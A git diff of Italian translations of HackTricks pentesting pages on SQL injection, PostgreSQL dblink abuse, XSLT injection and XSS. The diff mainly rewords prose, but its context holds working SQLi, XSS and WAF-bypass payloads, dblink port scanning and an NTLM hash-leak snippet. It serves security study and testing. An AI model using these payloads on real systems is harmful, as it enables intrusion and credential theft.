1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In alcuni casi, le **funzioni di sleep non saranno consentite**. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query **esegua operazioni complesse** che richiederanno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti)_.
|
||||
In alcuni casi, le **funzioni sleep non saranno consentite**. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query **esegua operazioni complesse** che richiederanno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti)_.
|
||||
|
||||
### Identificazione del Back-end
|
||||
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le _**funzioni di sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le _**funzioni sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -127,10 +127,10 @@ Il modo migliore per identificare il back-end è provare a eseguire funzioni dei
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Anche se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
|
||||
Inoltre, se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
|
||||
|
||||
> [!NOTE]
|
||||
> In seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
> In una continuazione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
|
||||
### Identificazione con PortSwigger
|
||||
|
||||
@ -206,7 +206,7 @@ Seguendo un flusso simile a quello dell'exploitation basata su Union, potresti r
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Sfruttare Blind SQLi
|
||||
## Sfruttare il Blind SQLi
|
||||
|
||||
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
|
||||
In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
|
||||
@ -221,7 +221,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Sfruttare SQLi Basato sul Tempo
|
||||
|
||||
In questo caso non **c'è** modo di **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
|
||||
In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
**Elenco raccomandato**:
|
||||
|
||||
Dovresti usare come nome utente ogni riga dell'elenco e come password sempre: _**Pass1234.**_\
|
||||
&#xNAN;_(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)_
|
||||
_(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
@ -295,7 +295,7 @@ SE ' viene scappato puoi usare %A8%27, e quando ' viene scappato verrà creato:
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python script:
|
||||
Script Python:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -322,7 +322,7 @@ Per farlo, dovresti provare a **creare un nuovo oggetto chiamato come il "master
|
||||
|
||||
Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
|
||||
|
||||
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).
|
||||
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbe apparire qualche errore, ma non significa che non abbia funzionato).
|
||||
|
||||
Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -330,7 +330,7 @@ _Note: Questo attacco non funzionerà più come descritto sopra nelle ultime ins
|
||||
|
||||
### Controllo basato sul tempo di inserimento MySQL
|
||||
|
||||
Aggiungi quanti più `','',''` ritieni necessario per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.
|
||||
Aggiungi quanti più `','',''` ritieni necessari per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
@ -352,7 +352,7 @@ Ecco come funziona:
|
||||
|
||||
### Estrai informazioni
|
||||
|
||||
#### Creare 2 account contemporaneamente
|
||||
#### Creazione di 2 account contemporaneamente
|
||||
|
||||
Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:
|
||||
```
|
||||
@ -386,18 +386,18 @@ Utilizzando **hex** e **replace** (e **substr**):
|
||||
|
||||
L'iniezione SQL routata è una situazione in cui la query iniettabile non è quella che fornisce output, ma l'output della query iniettabile va alla query che fornisce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Esempio:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Bypass WAF
|
||||
|
||||
[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Bypass senza spazi
|
||||
|
||||
No Space (%20) - bypass utilizzando alternative agli spazi bianchi
|
||||
No Space (%20) - bypass utilizzando alternative di spazi bianchi
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -430,7 +430,7 @@ Blacklist usando parole chiave - bypass usando maiuscole/minuscole
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist utilizzando parole chiave senza distinzione tra maiuscole e minuscole - bypass utilizzando un operatore equivalente
|
||||
Blacklist usando parole chiave senza distinzione tra maiuscole e minuscole - bypass usando un operatore equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -463,7 +463,7 @@ O usando un **comma bypass**:
|
||||
```
|
||||
Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Strumenti suggeritori per il bypass del WAF
|
||||
### Strumenti per suggerire bypass WAF
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Network - Privesc, Port Scanner e divulgazione della risposta alla sfida NTLM
|
||||
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,14 +10,14 @@ CREATE EXTENSION dblink;
|
||||
```
|
||||
Una volta che hai caricato dblink, potresti essere in grado di eseguire alcuni trucchi interessanti:
|
||||
|
||||
### Escalation dei privilegi
|
||||
### Privilege Escalation
|
||||
|
||||
Il file `pg_hba.conf` potrebbe essere configurato male **consentendo connessioni** da **localhost come qualsiasi utente** senza bisogno di conoscere la password. Questo file si trova tipicamente in `/etc/postgresql/12/main/pg_hba.conf` e una configurazione errata appare così:
|
||||
```
|
||||
local all all trust
|
||||
```
|
||||
_Nota che questa configurazione è comunemente usata per modificare la password di un utente db quando l'amministratore la dimentica, quindi a volte potresti trovarla._\
|
||||
&#xNAN;_Nota anche che il file pg_hba.conf è leggibile solo dall'utente e dal gruppo postgres e scrivibile solo dall'utente postgres._
|
||||
_Nota anche che il file pg_hba.conf è leggibile solo dall'utente e dal gruppo postgres e scrivibile solo dall'utente postgres._
|
||||
|
||||
Questo caso è **utile se** hai **già** una **shell** all'interno della vittima poiché ti permetterà di connetterti al database postgresql.
|
||||
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Port Scanning
|
||||
|
||||
Abusando di `dblink_connect` potresti anche **cercare porte aperte**. Se quella \*\*funzione non funziona, dovresti provare a usare `dblink_connect_u()` poiché la documentazione afferma che `dblink_connect_u()` è identica a `dblink_connect()`, tranne per il fatto che consentirà agli utenti non super di connettersi utilizzando qualsiasi metodo di autenticazione\_.
|
||||
Abusando di `dblink_connect` potresti anche **cercare porte aperte**. Se quella **funzione non funziona, dovresti provare a usare `dblink_connect_u()` poiché la documentazione afferma che `dblink_connect_u()` è identica a `dblink_connect()`, tranne per il fatto che consentirà agli utenti non super di connettersi utilizzando qualsiasi metodo di autenticazione\_.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
@ -73,7 +73,7 @@ Nota che **prima** di poter utilizzare `dblink_connect` o `dblink_connect_u` pot
|
||||
```
|
||||
CREATE extension dblink;
|
||||
```
|
||||
### Percorso UNC - divulgazione dell'hash NTLM
|
||||
### UNC path - divulgazione dell'hash NTLM
|
||||
```sql
|
||||
-- can be used to leak hashes to Responder/equivalent
|
||||
CREATE TABLE test();
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
XSLT è una tecnologia impiegata per trasformare documenti XML in diversi formati. Esistono tre versioni: 1, 2 e 3, con la versione 1 che è la più comunemente utilizzata. Il processo di trasformazione può essere eseguito sia sul server che all'interno del browser.
|
||||
XSLT è una tecnologia utilizzata per trasformare documenti XML in diversi formati. Esistono tre versioni: 1, 2 e 3, con la versione 1 che è la più comunemente utilizzata. Il processo di trasformazione può essere eseguito sia sul server che all'interno del browser.
|
||||
|
||||
I framework più frequentemente utilizzati includono:
|
||||
|
||||
- **Libxslt** da Gnome,
|
||||
- **Xalan** da Apache,
|
||||
- **Saxon** da Saxonica.
|
||||
- **Libxslt** di Gnome,
|
||||
- **Xalan** di Apache,
|
||||
- **Saxon** di Saxonica.
|
||||
|
||||
Per lo sfruttamento delle vulnerabilità associate a XSLT, è necessario che i tag xsl siano memorizzati sul lato server, seguiti dall'accesso a quel contenuto. Un'illustrazione di tale vulnerabilità è documentata nella seguente fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
@ -367,6 +367,8 @@ version="1.0">
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
|
||||
## More Payloads
|
||||
|
||||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
|
||||
## **References**
|
||||
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui è riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
|
||||
@ -12,12 +12,12 @@
|
||||
3. Puoi bypassare le protezioni?
|
||||
4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. All'interno di un **tag HTML**:
|
||||
2. Dentro un **tag HTML**:
|
||||
1. Puoi uscire nel contesto HTML grezzo?
|
||||
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
|
||||
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
|
||||
4. Puoi bypassare le protezioni?
|
||||
3. All'interno del **codice JavaScript**:
|
||||
3. Dentro **codice JavaScript**:
|
||||
1. Puoi sfuggire al tag `<script>`?
|
||||
2. Puoi sfuggire alla stringa ed eseguire codice JS diverso?
|
||||
3. I tuoi input sono in template literals \`\`?
|
||||
@ -35,29 +35,29 @@ debugging-client-side-js.md
|
||||
|
||||
## Valori riflessi
|
||||
|
||||
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
|
||||
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
|
||||
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
|
||||
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso sulla pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Se il tuo input è **riflesso sulla pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
### Dentro l'attributo dei tag HTML
|
||||
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
Se il tuo input è riflesso dentro il valore dell'attributo di un tag potresti provare:
|
||||
|
||||
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
|
||||
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso dentro "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
@ -84,7 +84,7 @@ alert(1)
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state utilizzate, in modo da poter abusare di scenari in cui un XSS utilizza variabili o funzioni non dichiarate.**\
|
||||
**Controlla la seguente pagina per ulteriori informazioni:**
|
||||
**Controlla la pagina seguente per ulteriori informazioni:**
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
@ -143,15 +143,15 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## Codifica di bypass WAF immagine
|
||||
## WAF bypass encoding image
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Iniezione all'interno di HTML raw
|
||||
## Iniettare all'interno di HTML raw
|
||||
|
||||
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\**_
|
||||
_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
|
||||
```html
|
||||
@ -295,13 +295,13 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass all'interno dell'evento utilizzando la codifica Unicode**
|
||||
**Bypass dell'evento interno utilizzando la codifica Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocollo speciali all'interno dell'attributo
|
||||
### Protocollo Speciali All'interno dell'attributo
|
||||
|
||||
Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
|
||||
```javascript
|
||||
@ -351,7 +351,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -440,11 +440,11 @@ Diversi trucchi con l'uso di diverse codifiche sono già stati esposti in questa
|
||||
|
||||
**Bypass per tag e attributi HTML**
|
||||
|
||||
Leggi i [Blacklist Bypasses della sezione precedente](#blacklist-bypasses).
|
||||
Leggi i [Bypass della Blacklist della sezione precedente](#blacklist-bypasses).
|
||||
|
||||
**Bypass per codice JavaScript**
|
||||
|
||||
Leggi la [blacklist dei bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
|
||||
Leggi la [blacklist di bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -468,7 +468,11 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
|
||||
|
||||
## Iniezione all'interno del codice JavaScript
|
||||
|
||||
In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i
|
||||
In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
|
||||
### Escape del tag \<script>
|
||||
|
||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **uscire chiudendo il tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -735,7 +739,7 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilità DOM**
|
||||
|
||||
C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:**
|
||||
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -778,7 +782,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -821,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS con iniezione di intestazioni in una risposta 302
|
||||
|
||||
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
|
||||
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
|
||||
|
||||
In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
||||
Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
|
||||
@ -867,7 +871,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
La risposta è:
|
||||
|
||||
- **module** (predefinito, nulla da spiegare)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un **`.wbn`** file.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -937,19 +941,19 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Modelli di Sostituzione Speciali
|
||||
### Special Replacement Patterns
|
||||
|
||||
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
